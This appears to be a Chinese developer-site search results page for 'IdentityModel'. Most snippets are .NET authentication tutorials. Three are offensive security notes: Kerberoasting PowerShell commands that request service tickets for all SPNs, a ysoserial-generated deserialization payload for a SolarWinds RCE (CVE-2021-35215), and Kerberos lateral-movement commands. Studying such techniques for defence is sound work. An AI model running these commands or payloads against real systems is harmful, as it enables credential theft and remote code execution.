首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏newbe36524的技术专栏

    .NET 基金会项目介绍-IdentityModel

    IdentityModel 是属于 .Net 基金会的一个项目,本文将简要介绍该项目相关的信息。 中文介绍 中文介绍内容翻译自英文介绍,主要采用意译、如与原文存在出入,请以原文为准。 IdentityModel IdentityModel 是一款 .NET standard 帮助类库,用于处理 claims-based identity(基于声明的身份认证), OAuth 2.0 和 IdentityModel 类库,其提供的对接能力为很多主流的项目提供了重要支持,包括但不限于有以下这些知名项目: eShopOnContainers IdentityServer4 ABP NanoFabric 英文介绍 IdentityModel IdentityModel is a .NET standard helper library for claims-based identity, OAuth 2.0 ASP.NET - 【Web服务端MVVM框架】 Entity Framework - 【ORM】 Humanizer - 【工具库】 IdentityManager - 【身份认证数据管理工具】 IdentityModel

    91520发布于 2020-03-16
  • 来自专栏全栈程序员必看

    Dynamics Crm 2011 Or 2013 IFD 部署一段时间后,CA验证问题[通俗易懂]

    IFD登录页面登录后,再次弹出要求登录的框,多次输入用户名密码仍然无效,查看日志: ><TraceRecord xmlns=”http://schemas.microsoft.com/2009/10/IdentityModel ,System.IdentityModel, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089</ExceptionType </Message><StackTrace> 在Microsoft.IdentityModel.Tokens.Saml11.Saml11SecurityTokenHandler.CreateClaims (SecurityTokentoken) > 在Microsoft.IdentityModel.Tokens.SecurityTokenHandlerCollection.ValidateToken (SecurityTokentoken) > 在Microsoft.IdentityModel.Web.TokenReceiver.AuthenticateToken(SecurityTokentoken

    74410编辑于 2022-11-17
  • 来自专栏草根专栏

    Identity Server 4 - Hybrid Flow - Claims

    identity sever 4的这部分文档在: https://identityserver4.readthedocs.io/en/release/endpoints/userinfo.html#identitymodel , https://github.com/IdentityModel/IdentityModel2 文档提到, 需要为MVC客户端安装IdentityModel这个库: dotnet add package IdentityModel 随后, 我把获取用户email的代码还是放在About Action里: ?

    1K30发布于 2018-08-01
  • 来自专栏草根专栏

    用户信息端点 UserInfo Endpoint

    identity sever 4的这部分文档在: https://identityserver4.readthedocs.io/en/release/endpoints/userinfo.html#identitymodel , https://github.com/IdentityModel/IdentityModel2 文档提到, 需要为MVC客户端安装IdentityModel这个库: dotnet add package IdentityModel 随后, 我把获取用户email的代码还是放在About Action里: 首先通过IDP的URI获得discovery document, 然后从中取出UserInfo端点

    1.4K10编辑于 2022-11-24
  • 来自专栏DotNet NB && CloudNative

    ASP.NET Core快速入门(第5章:认证与授权)--学习笔记

    Hello-key" } } Startup.cs // 添加引用 using Microsoft.AspNetCore.Authentication.JwtBearer; using Microsoft.IdentityModel.Tokens // Jwt配置 .AddJwtBearer(o=>{ o.TokenValidationParameters = new Microsoft.IdentityModel.Tokens.TokenValidationParameters System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; // 添加引用 using System.Security.Claims; using Microsoft.IdentityModel.Tokens ; using Microsoft.Extensions.Options; using System.Text; using System.IdentityModel.Tokens.Jwt; namespace using Microsoft.AspNetCore.Authentication.JwtBearer; using System.Security.Claims; using Microsoft.IdentityModel.Tokens

    1.5K10发布于 2021-01-13
  • 来自专栏内网安全学习笔记

    Kerberoasting

    GetUserSPNs.ps1 列出所有域用户SPN 3、请求TGS票据 1、请求指定TGS $SPNName='kadmin/changepw' Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName 2、请求所有TGS Add-Type -AssemblyName System.IdentityModel setspn.exe -q */* | Select-String '^CN' -Context 0,1 | IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

    77120编辑于 2023-04-17
  • 来自专栏Khan安全团队

    CVE-2021-35215 SolarWinds 反序列化RCE

    PropertyBag, SolarWinds.InformationService.Contract2\", \"1\" : { \"$type\": \"System.IdentityModel.Tokens.SessionSecurityToken , System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\", \Release>ysoserial.exe -g SessionSecurityToken -f json.net -c "ping localhost -t" {'$type': 'System.IdentityModel.Tokens.SessionSecurityToken , System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'SessionToken

    1.2K70发布于 2021-11-05
  • 来自专栏Script Boy (CN-SIMO)

    安装Nuget包

    要生成Token,可以使用JwtSecurityTokenHandler类,它位于System.IdentityModel.Tokens.Jwt命名空间,它不仅能够生成JWT,由于它实现了ISecurityTokenValidator Controller,名为AuthenticateController,内容如下: using System; using System.Collections.Generic; using System.IdentityModel.Tokens.Jwt System.Text; using Microsoft.AspNetCore.Mvc; using Microsoft.Extensions.Configuration; using Microsoft.IdentityModel.Tokens

    1.4K10编辑于 2022-05-10
  • 来自专栏DotNet NB && CloudNative

    ASP.NET Core分布式项目实战(第三方ClientCredential模式调用)--学习笔记

    任务10:第三方ClientCredential模式调用 创建一个控制台程序 dotnet new console --name ThirdPartyDemo 添加 Nuget 包:IdentityModel 添加之后还原 dotnet restore Client using System; using System.Net.Http; using System.Threading.Tasks; using IdentityModel.Client

    41120发布于 2021-01-13
  • 来自专栏数据结构和算法

    .NET 5 Web API 中JWT详细教程:保护你的Web应用

    在你的控制器或服务中,添加以下代码: using Microsoft.IdentityModel.Tokens; using System.IdentityModel.Tokens.Jwt; using

    1.2K10编辑于 2023-11-30
  • 来自专栏Script Boy (CN-SIMO)

    MVC之实现基于token的认证

    要生成Token,可以使用JwtSecurityTokenHandler类,它位于System.IdentityModel.Tokens.Jwt命名空间,它不仅能够生成JWT,由于它实现了ISecurityTokenValidator Controller,名为AuthenticateController,内容如下: using System; using System.Collections.Generic; using System.IdentityModel.Tokens.Jwt System.Text; using Microsoft.AspNetCore.Mvc; using Microsoft.Extensions.Configuration; using Microsoft.IdentityModel.Tokens

    1.2K20发布于 2021-05-06
  • 来自专栏DotNet NB && CloudNative

    在 .NET 8/9 中使用 AppUser 进行 JWT 令牌身份验证

    NuGet 软件包 dotnetadd package Microsoft.AspNetCore.Authentication.JwtBearer dotnetadd package Microsoft.IdentityModel.Tokens usingMicrosoft.AspNetCore.Authentication.JwtBearer; usingMicrosoft.AspNetCore.DataProtection; usingMicrosoft.IdentityModel.Tokens 创建 Token 生成服务 usingMicrosoft.IdentityModel.Tokens; usingSystem.IdentityModel.Tokens.Jwt; usingSystem.Security.Claims

    2.3K10编辑于 2024-12-23
  • 来自专栏DotNet NB && CloudNative

    ASP.NET Core分布式项目实战(oauth密码模式identity server4实现)--学习笔记

    新建控制台程序 dotnet new console --name PwdClient 添加 Nuget 包:IdentityModel 添加之后还原 dotnet restore 拷贝一份 ThirdPartyDemo 的 Program 过来修改 using System; using System.Net.Http; using System.Threading.Tasks; using IdentityModel.Client

    62110发布于 2021-01-13
  • 来自专栏大内老A

    [WCF权限控制]WCF自定义授权体系详解[实例篇]

    由于IAuthorizationPolicy定义在System.IdentityModel程序集中,我们先为Hosting项目添加该程序集的引用。 1: using System; 2: using System.Collections.Generic; 3: using System.IdentityModel.Claims; 4: using System.IdentityModel.Policy; 5: using System.Linq; 6: namespace Artech.WcfServices.Hosting 1: using System.IdentityModel.Claims; 2: using System.Security.Principal; 3: using System.ServiceModel

    1.1K80发布于 2018-01-16
  • 来自专栏晓晨的专栏

    ASP.NET Core的身份认证框架IdentityServer4(7)- 使用客户端认证控制API访问

    然而,我们有一个叫做 IdentityModel 的客户端库,它将协议交互封装到了一个易于使用的 API 里面。 添加 IdentityModel NuGet 程序包到你的客户端项目中。 ? IdentityModel 包含了一个用于 发现端点 的客户端库。

    3.9K40发布于 2018-06-22
  • 来自专栏Cyber Security

    【内网安全】横向移动&Kerberos攻击&SPN扫描&WinRM&WinRS&RDP

    GhostPack/Rubeus Rubeus kerberoast 3.检测可用协议-手工: 点对点请求-请求后产生票据文件 powershell Add-Type -AssemblyName System.IdentityModel powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc

    48810编辑于 2024-07-18
  • 来自专栏汪宇杰博客

    手工修复Azure DevOps无法连接到Azure的问题

    但是当我尝试重新认证的时候,竟然又爆了: TF14045: The identity with type 'Microsoft.IdentityModel.Claims.ClaimsIdentity'

    2.2K30发布于 2019-07-09
  • 来自专栏张善友的专栏

    Cross-Origin Resource Sharing协议介绍

    HTML5的一部分,在大部分现代浏览器中有所支持,支持(部分支持)CORS协议的浏览器有IE8+, Firefox5+, Chrome12+, Safari4+ 服务端实现 Thinktecture.IdentityModel 20Resource%20Sharing&referringTitle=Documentation [6]CORS support in WebAPI, MVC and IIS with Thinktecture.IdentityModel

    89790发布于 2018-01-29
  • 来自专栏.NET开发者社区

    基于ASP.NET Core 3.x的端点路由(Endpoint Routing)实现控制器(Controller)和操作(Action)分离的接口服务

    using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Hosting; using Microsoft.IdentityModel.Tokens GrantToken.cs,代码如下: using Ardalis.ApiEndpoints; using Microsoft.AspNetCore.Mvc; using System; using System.IdentityModel.Tokens.Jwt using Microsoft.AspNetCore.Authorization; using Microsoft.Extensions.Configuration; using Microsoft.IdentityModel.Tokens

    1.8K30发布于 2020-10-10
  • 来自专栏NetCore 从壹开始

    【实战 Ids4】║ 控制台密码模式搭配Ocelot网关

    打开vs2019,创建NetCore的控制台应用程序 创建好后,引用 IdentityModel Nuget包 <ItemGroup> <PackageReference Include="<em>IdentityModel</em>

    80331编辑于 2022-04-11
领券